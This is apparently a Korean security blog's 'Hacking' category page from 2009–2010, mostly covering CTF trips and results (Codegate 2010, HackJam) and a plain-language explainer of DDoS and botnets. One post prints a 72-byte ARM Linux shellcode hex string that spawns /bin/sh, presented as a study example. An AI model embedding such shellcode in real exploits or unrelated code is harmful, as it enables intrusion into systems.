Search results

'Hacking'에 해당하는 글들

  1. 2010/04/13  Codegate 2010 Final 후기 (14)
  2. 2010/04/03  CMU Press Release! (8)
  3. 2010/03/21  Codegate 2010 Pre-Qual (5)
  4. 2010/01/26  ARM Shellcode (2)
  5. 2009/09/24  HackJam 2009 After thoughts (1)
  6. 2009/07/09  DDOS 란 무엇인가~ 파헤쳐보자! (3)
  7. 2009/06/10  [Plug-in] StrongOD.dll (6)
  8. 2009/05/10  Null@Root 3차 문제 및 풀이
  9. 2009/04/22  Null@Root 2차 문제 및 풀이 (2)
  10. 2009/04/22  Null@Root 1차 문제 및 풀이 (2)
사용자 삽입 이미지


안녕하세요-

저번 주 수요일/목요일에 걸쳐 국내 최대 해킹/방어 컨퍼런스인 Codegate 2010 이 열렸습니다.
(사실 컨퍼런스 자체는 목요일 이었지만, CTF 경기는 수요일부터 시작되었습니다.)

저희 팀 Plaid Parliament of Pwing (PPP)가 올해 Codegate의 CTF 본선을 진출했고,
저를 포함한 4명의 팀 멤버들은 지난 주 일요일 아침에 Pittsburgh를 출발....하려고했으나..
비행기 엔진 결함문제로 인해서 연착되어 한시간 정도 늦게 출발 하였습니다.

하지만 이 연착 때문에 한국으로 직항이었던 다음 비행기를 놓쳐버리는 바람에,
1시간 이상을 다시 기다려서 일본 나리타 공항을 거쳐 가는 비행기를 타고 한국에 도착했습니다.
덕분에 비행시간도 길어지고 도착시간도 약 7시간 이상 늦어지는 바람에 힘들게 한국 여행을 시작했죠 _ _);
(아버지가 마중나오셨는데 제가 비행기 연착 내용을 이메일로 보내드렸는데 전달이 되지 않아서
 공항에서 7시간 넘게 기다리셨다는...)

사용자 삽입 이미지

Tyler, Andrew, David at Pitt Airport

사용자 삽입 이미지

David, Andrew in the plane


사용자 삽입 이미지

Tyler, killing some time at SanFrancisco Airport



뭐 쨋든, 안전히 도착했습니다 :)
사용자 삽입 이미지

Andrew, David: waiting for luggage at Incheon Airport


사용자 삽입 이미지

In Elevator

사용자 삽입 이미지

Parking lot at ICN airport



아버지 차를 타고 이동한 곳은 저희가 4일동안 머물렀던 아르누보씨티 라는 레지던스였습니다.
사용자 삽입 이미지

Andrew

사용자 삽입 이미지

Tyler

사용자 삽입 이미지

David


내부 모습은 대충 이렇게 생겼습니다:
사용자 삽입 이미지

Mirror

사용자 삽입 이미지

whatever

사용자 삽입 이미지

Beds, Tyler is sleeping :p



도착한 날 (월요일)은 예상보다 비행시간이 길었고, 늦게 도착한지라..
다들 거의 바로 뻗었습니다 -_-;;
물론,  다음날 계획되어있던 서울 구경에 차질이 없도록 일찍 잔것도 이유긴 했지만 말이죠 :p
(저는 계획 세우느라고 혼자 새벽까지 깨있었다는 ㅠ_ㅠ)


사용자 삽입 이미지

In subway


일단 이동은 서울시티투어 버스를 이용하기로 했습니다.
저도 이번에 알게 된 것이지만... 외국인/내국인들을 위한 서울도심구경 루틴을 따라서 약 27개의
정거장들을 돌면서 30분 간격으로 버스가 옵니다.
구경하고 싶은 지역에서 내려서 30분~1시간 정도 둘러보고 다시 가서 다음 버스를 타고 다른 곳으로
이동할 수 있는것이죠. 하루 이용료는 1만원이며, T머니로 결제시 5%를 깎아줍니다..;;


첫번째로 간 곳은 덕수궁!
사용자 삽입 이미지

주중인데도 사람들 (관광객들+초중등학 견학생들) 이 많더군요..

여기저기서 기념샷 몇 개:
사용자 삽입 이미지사용자 삽입 이미지

사용자 삽입 이미지사용자 삽입 이미지사용자 삽입 이미지


쭉 둘러보고 나오는데.. 7살쯤 되어보이는 유치원생 아이들이 줄줄히 입구에서 들어오고있더군요...
그런데 갑자기 제 친구들을 보더니 아이들이 동시에.. "Hi~ Nice to meet you!!!"를 외치는게 아닙니까..ㅋㅋ
ㅋㅋ 좀 당황하긴했지만 귀엽더군요 :)

사용자 삽입 이미지

Tyler taking a picture of me taking picture :p



다음 코스로는 (보통 투어라면 대개 들리지 않을) 용산전자상가를 들렸습니다ㅎㅎ
저도 사실 용산상가는 한 동안 가본적이 없는데.. 많이 바뀌었더군요 xD

정신없이 이것저것 찾아 다니느라 다리 부러지는줄 알았네요 ㅠ_ㅠ
사용자 삽입 이미지사용자 삽입 이미지사용자 삽입 이미지


사용자 삽입 이미지

Waiting for next bus




한 1시간 반 정도 돌아다닌다음에 간 곳은 명동이었습니다.
사용자 삽입 이미지사용자 삽입 이미지사용자 삽입 이미지

점심으로는 닭갈비+냉면을 먹었습니다 ㅋㅋ
사용자 삽입 이미지사용자 삽입 이미지


사용자 삽입 이미지사용자 삽입 이미지사용자 삽입 이미지


서울 구경은 대충 요정도로만 하고 (헐..ㅋㅋ) 세 외국인 친구들이 스타크래프트 경기를
직접 라이브로 보고 싶어해서 문래동에 있는 MBC Game HERO Center로 이동했습니다.

사용자 삽입 이미지

In front of MBC game Hero Center


사용자 삽입 이미지사용자 삽입 이미지사용자 삽입 이미지

사용자 삽입 이미지


실제로 이 날 생방송에 저희가 몇 번 나온다는 -_-);;
http://www.youtube.com/watch?v=NegyElRee5g (0:25)


저녁은 삼성역쪽에 보노보노 라는 해산물뷔페를 가서 먹었는데.. 미쳐 사진은 못찍었네요 ㅎㅎ :p

마지막으로 지옥철 현장학습으로 하루를 마치고 숙소로 돌아갔습니다~
사용자 삽입 이미지사용자 삽입 이미지

Everyone looks tired xD




다음 날 아침 일찍부터 준비해서 부랴부랴 코엑스로 향했습니다.
사용자 삽입 이미지

사용자 삽입 이미지사용자 삽입 이미지

Andrew, David, Brian

사용자 삽입 이미지

sutegoma2 and realgeeks


사용자 삽입 이미지

citctf

사용자 삽입 이미지

GoN

사용자 삽입 이미지

Audience


경기장은 넓었고, 각 코너에 쇼파 등 쉴 곳과 음식들로 가득 차 있었습니다 +_+

사용자 삽입 이미지

Awesome LM**2



오전 10시에 경기가 시작되었고...
저희 팀은 초반 약 6시간동안 한 문제도 못풀었습니다 _ _);;

중간 중간 저를 아시는 분들이 찾아와주셔서 인사해주시면서 기대가 크다며 한마디씩 하고 가실때마다..
압박감이 배로 늘어가더군요..
그렇게 경기 초반엔 스코어보드에 이름도 못올리고 있다가..
다행히 경기 6시간째쯤 되면서 한 문제씩 풀리기 시작했고.. 그때부터 약 12시간 동안 걸쳐서 문제들을
계속 풀었습니다.

경기 18시간째까지 총  6문제를 풀었고, ㅋㅋ... 그게 다였습니다.
다행히 1등을 유지하기에 충분한 점수를 얻었습니다..
하지만 경기 마지막 6시간동안은 또 한문제도 풀리지 않는 바람에.. 불안감에 초조해하고 있었는데..
결국 마지막 29분 남겨놓고 HFS팀이 한문제를 풀어버리더군요 :p

거의 다 푼 문제들이 두 개 정도 있었기때문에 엄청 아쉽긴 했지만 :(
경기는 종료 되었고 긴장감이 풀릴 새도 없이 시상식장으로 옮겨가달라는 운영진측의 부탁을 받고
정신없이 물건들을 챙겨서 옮겨갔습니다.

(그러는 와중에 명함 목걸이 끝에 입술이 베어서 피를 줄줄 흘렸다는 _ _);;  )

사용자 삽입 이미지

나와보니 많은 사람들이 와계시더군요 - 0-;


사용자 삽입 이미지

Opening

사용자 삽입 이미지

Yay, $$$ !!

사용자 삽입 이미지

Everyone seems tired


시상식이 끝나고 컨퍼런스가 진행되는 동안 저희는 숙소로 돌아와서 재정비를 하고,
5시에 있었던 문제풀이 세션에 참석했습니다.
사용자 삽입 이미지사용자 삽입 이미지

사용자 삽입 이미지

They deserve award!!



코드게이트 모든 일정이 끝난 뒤엔, After party가 있었습니다 :)

사용자 삽입 이미지사용자 삽입 이미지

ㅋㅋ 알아 온지 몇 년이나 됬지만 실제로 만날 기회가 없었던 구사무엘군도 만났습니다.
(미안해요 듀얼군,,ㅋㅋㅋㅋ 듀얼군 나온 사진이 이거밖에 없네요?)

처음엔 썰렁한 테이블이었는데..ㅋㅋ (저희 팀 넷이서만 뻘쭘히..)
시간이 갈 수록 HFS팀원들도 조인하고, int3pids 팀원들도 조인해줘서 만석이 됬습니다~
beist님도 들려주셨구요 ㅎㅎ

사용자 삽입 이미지


여러 다른 팀원들과도 직접 얘기하고 서로 교제하는 즐거운 시간이었습니다 :)
사용자 삽입 이미지사용자 삽입 이미지
사용자 삽입 이미지

사용자 삽입 이미지사용자 삽입 이미지

저희 팀원들에게 나중에 들은 바로는..
beist님의 무한드링킹이 무시무시 했다는군요 ㅋㅋㅋ
사용자 삽입 이미지

'He never stops drinking!!!'



저희는 바로 다음 날 출국이었기때문에,
아쉬웠지만 11시쯤 숙소로 돌아왔습니다 :/


마지막날 아침 11시 즈음 일어나서 아침겸 점심을 먹으러 향했습니다
사용자 삽입 이미지

사용자 삽입 이미지

Deciding where to go eat :p



중간에 경비로 받은 400만원 환전도 했구요 :)
사용자 삽입 이미지



친구 룸메이트의 부탁으로 교보문고에 들러 티아라의 앨범을 산 뒤에 (-_-;;) 바로 숙소로 돌아가서
짐싸서 나온 다음 공항으로 향했습니다~

사용자 삽입 이미지


이번 대회에 관련해서 수고해주신 코드게이트 관계자분들, 운영진분들 정말 감사합니다 ^^
덕분에 재밌게 경기도 하고, 좋은 팀들과 교제할 시간도 가졌고, 외국인 팀메이트들에게도
한국에 대한 좋은 인상을 심어주고 돌아왔습니다 :)

내년에 또 뵙길 기대하며, 다시 한번 감사드립니다! 수고하셨습니다!
_ _)!

- Cai (세준;Brian) from PPP!





코드게이트 2010 본선 관련 미디어 릴리즈:




포스팅 후기:
후아...
드뎌 후기 작성이 끝났습니다.. 집 인터넷 상태가 상당히 안좋아서 사진들 업로드하는데만 꼬박
몇시간이 걸렸네요.. -_-;; 물론 약 30메가에 육박하는 사진들이지만요.. :)

이렇게 길게 써보는 포스팅은 정말 오랜만이라, 중간 중간 두서없거나 내용이 부실할 수 있지만..
전체적인 흐름은 담겨있으니..아무쪼록 재밌게 보셨으면 좋겠네요~


그럼..다음 포스팅때까지 안녕~




2010/04/13 17:16 2010/04/13 17:16

저희 학교 press release에 저희 팀이 소개 되었습니다 :D



사용자 삽입 이미지

Plaid Parliament of Pwning




이번 Codegate2010 본선에 참가하게 될 4명 입니다:
사용자 삽입 이미지


이건 저희 팀 티셔츠 뒷면인데, 경기날 직접 보여드리도록 하죠 :p
사용자 삽입 이미지


저희 네명은 동부시간 4월 4일 오전 7시행 비행기를 타고
약 20여시간 이상의 비행을 한 뒤 한국에 도착해서 Codegate 본선을 참여합니다 :)





2010/04/03 00:58 2010/04/03 00:58
─ tag  ,
 
사용자 삽입 이미지


Codegate 2010 예선전이 끝났습니다 :)


한국시간으로 3월 13일 아침 9시부터 14일 저녁 9시까지 총 36시간동안 진행된 CTF 예선전이었습니다.

처음 몇 문제를 개방한채로 시작한 뒤, 시간의 흐름과 팀들의 푸는 속도에 맞춰서 문제들이 추가되는 형식으로
총 19문제가 출제 되었습니다.

분야는 web, forensic, binary analysis, 등등 다양한 보안분야였고,
전체적으로 문제의 질은 상, 문제의 난이도는 중상 정도였습니다.

사용자 삽입 이미지

첫 6문제


문제들은 위와 같이 번호와 함께 각 문제의 점수가 써져있고,
그 아래로는 각 문제를 가장 빨리 푼 3팀의 이름이 적혀있습니다.

1번째,2번째,3번째로 푼 순서에 따라 각각 해당 문제의 5%,3%,1% 의 추가 점수를 받습니다.


아래는 경기 종료 후, 추가점수를 포함한 랭킹 테이블 입니다.
사용자 삽입 이미지

19문제중 총 18문제를 푼 저희 팀 PPP (Plaid Parliament of Pwning)가 1등을 하였습니다 :D


예선에서 상위 8위 안에 드는 팀에 한하여 본선 경기가 있습니다.
하지만, CLG-T팀의 불참과 Twitter/codehate 동일팀 관계로 9위와 10위를 한 GoN과 sutegoma2이
본선진출을 하게 되었습니다.


다음은 Confirmed Finalist 목록입니다.
사용자 삽입 이미지

보시는 바와 같이 총 8팀, 7개국에서 온 팀들이 경기을 하게 됩니다.

다음은 이번 예선전에 관해 YTN Newswire에 게재된 기사입니다


본선 경기는 한국 서울 코엑스에서 4월 7일 오전 10시부터 다음날인 8일 오전 10시까지
총 24시간 동안 진행됩니다.

그래서 저를 동반한 다른 팀원 3명은 2주후에 한국을 방문하게 되었습니다 :p

전반적으로 코드게이트 경기를 재밌게 즐겼습니다만,
한가지 아쉬운 점이 있다면 외국에서 오는 팀들에 대한 경제적 지원입니다.

경기종료 당시 가장 싼 비행기표가 한화로 120만원이 넘는 가운데, 지원은 100만원 까지 밖에 안나오고
숙식제공이 없는 관계로.. 자비가 꽤 많이 들어가게 됩니다.


그래도, 세계 각국의 해커들이 한데 모여 같이 즐기고 해킹할 수 있는 좋은 기회인것 같습니다 :)

20여시간 이상의 비행, 시차, 등등의 문제때문에 경기에서 얼마나 좋은 모습을 보여드릴 수 있을지는
모르겠지만.. 최선을 다하겠습니다.

본선에서 뵙죠~


추가: 여기 가시면 저희 팀에서 작성한 보고서를 보실 수 있습니다.




2010/03/21 00:37 2010/03/21 00:37

ARM machine이 많은데도 불구하고, x86나 mips 아키텍쳐에 비해서 ARM 쉘코드는 온라인에서 찾기 어렵습니다..

하쥐만 상길이형님께서 간지나게 ARM PoC shellcode를 뽑아내셨습니다 ㅋㅋ
(qemu-arm 에서 돌아가는것 확인!)

원문:
It is hard to find a very simple ARM shellcode. So I decided to make my own ARM shellcode.

ARM is becoming more and more popular architecture as the number of smart phones and 'net books' are expanding. Don't forget! iPhone and Nokia tablets are also running on ARM. :D

So what is the most important thing to consider to generate ARM shellcode?

First, the linux system call in ARM is little bit different from the x86 system call. Namely, the system call number is stored in r7 register instead of r0 register. (eax register can be considered as r0 in ARM). Thus, the arguments are stored in r0, r1, ... in turn.

Second, we need some trick to load 32bit immediate value into a memory address in ARM. Here, I am using four sequential arm instructions to push 32bit immediate into stack. Note that the exclamation mark in ARM assembly code means that the index operation is performed before applying the real instruction. For example, str r2, [r3, #-4]!  means: store r2 value to the ptr {r3-4} and r3 = r3 -4.

With the above facts in mind, I will present my own ARM shellcode here !!
This is just a simple example, and it contains null characters. So not applicable in most of the real cases. :)

 (ARM shellcode, execute /bin/sh and call exit) (72 byte)  
// by funkyG
"\x00\x00\x20\xe0\x01\x10\x21\xe0\x02\x20\x22\xe0\x04\x20\x2d\xe5\x00\xc0\x9f\xe5\x00\x00\x00\xea\x2f\x2f\x73\x68\x04\xc0\x2d\xe5\x00\xc0\x9f\xe5\x00\x00\x00\xea\x2f\x62\x69\x6e\x04\xc0\x2d\xe5\x0d\x00\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef"

2010/01/26 01:41 2010/01/26 01:41
─ tag  , , ,
ARM Shellcode :: 2010/01/26 01:41 Hacking/Study

지난 주말에 Sapheads 팀이 주최한 HackJam 해킹대회가 있었습니다.

이번 해킹대회는 제게 있어서 중요한 대회라고 할 수 있겠습니다.

첫째로, CMU 보안 그룹을 결성 한 이후로 멤버들과 함께 같이 한 첫 대회였었기에 팀웍, 개개인의 실력, 각자의 강점/단점 등을 알아 볼 수 있었습니다.

둘째로, 문제의 질이 성격이 비슷한 타 대회들의 문제들보다 훨씬 잘 구성되어있었습니다. 분야별 문제가 골고루 구성 되어있었고, 후반부 문제에서는 실생활에 일어날 수 있는 시나리오식 문제가 준비되어있었습니다.

사용자 삽입 이미지


경기 초중반부터 끝나기 몇시간 전까지 1등을 유지하고있었지만..
한 문제에서 오래 걸리는 바람에.. 3등까지 내려와버렸네요..

하지만, 300+ 팀이 참가한 경기에서 3등이면 충분히 좋은 결과라고 생각하고..
다음 대회들에서는 더 좋은 성적 기대해 봅니다 :p



2009/09/24 15:56 2009/09/24 15:56
─ tag  , ,

7.7 DDoS 대란

최근 며칠 사이에 화두가 된 사건이죠.
아마 여기 오시는분들의 대부분도 이미 알고 계신 사건일겁니다.

하지만, '공격을 당해서 사이트들이 다운되고, PC들이 고장난다'는 사실 정도는 알지만,
정확히 어떤 방법으로, 어떤 목적으로 이런 공격이 실행되는지 자세히 알고있는 사람들은
그다지 많지 않으실겁니다.

이번 포스팅에서는, 제 자신의 생각정리 + 정보공유의 목적으로 DDoS가 뭔지 알아보는 시간을 가져볼까 합니다.


어딜가나, 그저 DDoS! 도대체 그게 뭔데??

DDoS는 Distributed Denial of Service 의 약자로써 한글로 번역하면 '분산 서비스 거부 공격' 입니다.

하지만, DDoS는 DoS라는 공격기법의 발전형태입니다.
그럼 DoS가 뭔지 일단 알아야겠죠?

이름에서 알 수 있듯이, DoS는 인터넷상의 특정 자원을 평소처럼 이용할 수 없는 상태를 가르킵니다. 이러한 서비스 단절은 여러가지 이유가 있을 수 있는데 보통 네트워크장애로 인한 제대로 된 서비스를 못하게 됩니다. 공격 형태는 꽤 다양한데, Buffer OverFlow (BOF) 공격, SYN Flood 공격, Eavesdrop 공격, Virus/Worm 공격 등이 있습니다.

일전의 DoS공격시절에는, 보통 한 두대의 컴퓨터로 타겟서버의 이러한 알려진 공략법으로 과다하게 트래픽을 유발하거나, 시스템마비를 일으켜서 서비스 단절상태로 만들었지만.. 곧 왠만한 방어기법 (IP blocking 등)으로 처리가 가능해지면서, DoS는 효과적인 공격방법으로써 제 구실을 할 수 없게되엇죠.

그리하여, 이 공격기법을 발전시켜 나온 것이 Distributed DoS 방법입니다.
즉, 나 혼자 공격하는게 아니고 여러곳에서 분산해서 동시다발적으로 집중 공격 하자는 아이디어였죠.



흠..이제 뭔지는 알겠는데, 어떤식으로 공격이 이뤄지는건지 궁금하다구!

추상적인 단계에서 바라보면, DDoS 자체는 그렇게 복잡한 공격기법이 아닙니다.
어떻게 보면 단순무식한 방법이죠. (그리고..대부분의 경우에서.. 단순무식방법이 가장 무섭죠..)

대충 Diagram을 그려보자면 다음과 같습니다:
사용자 삽입 이미지
그림출처: www.sans.org

이와 같은 DDos의 구조를 이해하기 위해서는 몇가지 용어를 알아야합니다.

  • Bot (Zombie) : 주로 좀비PC라고 불리는 이 집단은 보통 가정집 컴퓨터 같은 보안에 취약하고 노출되어있는 개인 PC들로 이루어져있습니다. 취약점을 이용한 침투로 바이러스/웜등을 설치하고 Botmaster의 명령을 대기합니다. 대부분의 경우에는, 사용자들은 자신들이 감염되었는지조차 알 지 못하는 경우가 많습니다. 실질적 공격이 이루어지면, 각각의 좀비PC들이 공격 도구가 되는 셈이지요.
  • Bot Master : 이름 그대로, 위와같은 방법으로 감염시킨 bot들의 주인이 되는 컴퓨터입니다. Bot들의 분산과 실질적인 공격명령을 담당하는 컴퓨터입니다. Master 컴퓨터도 보통 취약점을 이용하여 특정 서버등을 공략/침투하여 만들어집니다. Bot들은 Master로부터 명령이 떨어지면, 주어진 공격 대상을 공격하기 시작하죠.
  • Bot Network : 줄여서 Botnet이라고 불리는 이 네트워크는 말그대로 bot들과 botmaster가 이루고 있는 네트워크를 칭합니다.
  • Attacker : 흔히들 말하는 '해커', '배후세력' 입니다. 이러한 시스템을 구축한 장본인들이지요. Master의 권한으로 널리 퍼져있는 bot들에게 공격명령을 직접적으로 내리는 역할을 합니다. 예전에는 개인적인 명성, 자금조달(?)을 목표로 소규모 또는 개인이 대다수였지만.. 최근들어 조직화되고 치밀해지고 있습니다.
  • Target : 말그대로..타겟. 피해자. 희생양입니다.

용어 설명을 하면서 대충 작동원리도 설명이 된 것 같지만, 좀 더 자세히 설명하자면..

공격자는 bot 프로그램을 만들어서 감염시키므로서 최대한 많은 컴퓨터들을 자신의 botnet 안에 추가하려고 노력합니다. 어느정도 병력(?)이 모인 후에는, master를 이용하여 공격지시를 내리고, 전 세계적으로 감연된 좀비PC들은 자신들이 뭘 하고 있는지도 모른채 target을 일제히 공격하기 시작하는겁니다.

흔히 이런 메카니즘을 C&C (Command & Control) 이라고 부르는데, 초창기에는 IRC 프로토콜을 사용한 C&C모델들로 주축을 이루었다가 IRC의 한계로 인해서 HTTP나 P2P 프로토콜을 이용하는 botnet 모델이 나오기도 했습니다. [한때 시끄러웠던 Conficker worm은 HTTP를 이용한 봇넷이었고, Storm worm은 P2P (특히 overnet)을 이용한 봇넷이었습니다.]

IRC 프로토콜이야 필터해서 막아버리면 그만이었지만..
(IRC 프로토콜을 회사/기업에서 쓸 일도 별로 없을 뿐더러)
HTTP같은 경우는 차단할 수도 없는 노릇이고.. 이같은 사실을 악용한 Conficker같은 botnet 덕분에 많은 사람들이 고생을 했었죠 :(



근데, 이번 7.7 대란에서 사용된 DDoS는 이전 공격과는 다르다던데..? 뭐가?

이번 worm에 대해서 자세한 기술적인 부분은 들여다보지 않아서 모든 차이점을 말씀해드릴 수는 없지만, 이번 7.7 대란에 사용된 방법이 이전 DDoS 공격과는 확실히 다른점은 있었습니다.

일단 알려진 바로는, MyDoom 변종이 사용되어졌다고 합니다.
MyDoom은 사실 대량 메일전송으로 악명 높았던 웜이었습니다 :)

위에서 설명한 공격방법을 열심히 읽으셨다는 가정하에, 차이점을 설명하겠습니다 ^^

이번 공격에는 C&C 메카니즘이 사용되지 않았다고 합니다.
그럼 어떻게 좀비PC들이 공격을 시작했을까요? 또, 어디를 공격할지 어떻게 알았을까요?

공격에 사용된 worm을 안랩에서 분석해본 결과, uregvs.nls 라는 공격 대상 목록을 담은 파일을 '자체생성' 한 후, 스스로 공격 시간을 바꿔가면서 공격한다는 것이라는게 밝혀졌습니다.

즉, 공격자가 직접 명령을 내릴 필요 없이, 알아서 공격대상을 (정해진 룰이 있는지는 모르겠지만) 정하고, 시간도 정해서, 다른 감염된 좀비PC와 함께 새로운 리스트의 대상들을 같은시각에 일제히 공격하는 것이죠.
이러한 특성 때문에, 1차 공격 이후에 2차, 3차 와 같은 연속 공격이 일어난것입니다.

이런 공격방법은, 이전의 DDoS공격에선 보여지지 않던 방법인지라 초반에 많이 당황한듯 싶습니다.
C&C메카니즘이 아니기에, 공격자가 완벽한 명령권한을 가지고 있지는 않지만, 그 덕분에 오래 살아 남는 원인이 되기도 합니다. 대게 C&C메카니즘을 사용하는 공격방법은 BotMaster 컴퓨터의 정보를 알아내고 차단함으로서 좀비PC로 하여금 더이상의 추가 명령을 받지 않게 하여 공격을 저지하는데, 이번엔 BotMaster에게 명령을 받는것이 아닌, 자제적으로 공격하는것이기 때문에.. 마땅히 한번에 봇넷을 무력화시킬 방법이 없는것이지요.

확실하게 막는 방법은, 개개인의 좀비PC를 치료하는 방법인데.. 시간도 많이 걸리고 아무래도 쉽게 하기는 힘들겠죠..



이게 다인가?

이게 전부였으면 그나마 나았겠지만..
공격자가 정말 악질인가 봅니다.

10일 자정부터, 하드디스크의 파일들도 손상하는 루틴이 들어있다고 합니다.

'다른 기업이 피해보는거지, 내 컴퓨터가 고장나는건 아니니까~' 라는 생각으로 별다른 관심 없으셨던분들도 자신의 컴퓨터를 지키기 위해서는 신경쓰셔야된다는 뜻입니다.

파일손상에 대한 정보와 긴급 사전조치방법은 http://viruslab.tistory.com/896 에 설명되어있습니다.



이번 사건에 대한 개인적 견해

안철수 교수님께서 어제 인터뷰에서 하신 말씀처럼 "우리가 자초한 측면이 있다" 라는 말에 전적으로 동의 하는 바입니다.

그동안 우리는 'IT강국'이라는 녹슬어버린지 오래된 타이틀 아래에서 너무 안일하게 살아왔습니다.

더이상 우리나라는 IT강국이 아닙니다. 다시 그 때로 돌아가기 위해 피나는 노력과 지원이 필요합니다.

안타까운 사건이지만, 이번 일을 계기로 정부가 조금더 IT쪽에 신경쓰고 적극적 지원을 해주어서 다음번엔 이런 불미스러운 시도가 있더라도, 공격자를 향해 비웃음을 날려줄 수 있는 때가 오기를 바래봅니다.



좀 더 기술적인 부분도 추가하여 더 자세하게 쓰려고 시작한 글인데.. 생각보다 표면적인 내용만 많은것 같네요.
나중에 기회가 되면 추가하겠습니다.



2009/07/09 00:40 2009/07/09 00:40
─ tag  , , ,

StringOD.dll
================================
OllyDBG용 플러그인.

올리를 '강하게' 만들어주는.. -_-;;


사용법은 알아서.




---------------------------------------------------
(DEFCON17 Qual Binary300 문제에 요긴하게 쓰임)




2009/06/10 22:11 2009/06/10 22:11

에.. 오늘 아침에 3차 문제가 이메일로 왔네요 :)

다행히 문제 푸는건 아니구, 문서번역이라 부담이 덜하네요 ^^


마지막 시험 하나가 끝나자마자 번역시작해야겠군요-

사용자 삽입 이미지




2009/05/10 14:50 2009/05/10 14:50


1차 문제를 완벽하게 풀어내지 못했는데도 불구하고, 넓은 아량으로 통과시켜주신
Null@Root 관계자 분들께 감사드리며,,

1차 문제 제출 후, 약 5 뒤인 그저께 2차 문제가 이메일을 통해 왔습니다 ^^

사용자 삽입 이미지

이번 문제는 Reverse Engineering & Cryptography 네요 :)

오래걸릴 줄 알았는데, 생각보다 간단하게 풀어져서 다행이에요.. 시험기간이라 걱정했는데 ^^





후기: 아.. 다음 stage는 왠지 웹해킹 분야로 나올거 같은데.... ㅠㅠ 막막하네요.




2009/04/22 18:52 2009/04/22 18:52

Null@Root 멤버지원을 한 이후로, 서류심사는 통과 :)

통과를 알림과 동시에, 1차 심사문제가 동봉되있는 메일이 왔습니다.

사용자 삽입 이미지

이번 문제는 BOF (Buffer OverFlow) 문제였습니다.

한글 운영체제라서 unicode변환 문제 때문에 완벽하게 풀이하지는 못했지만,
영문 운영체제에서 작동하는 풀이법을 작성했습니다.






후기: unicode문제는, 노가다로 conversion해주면 된다는군요...시간 날때 해봐야겠어요 :)




2009/04/22 18:44 2009/04/22 18:44
openclose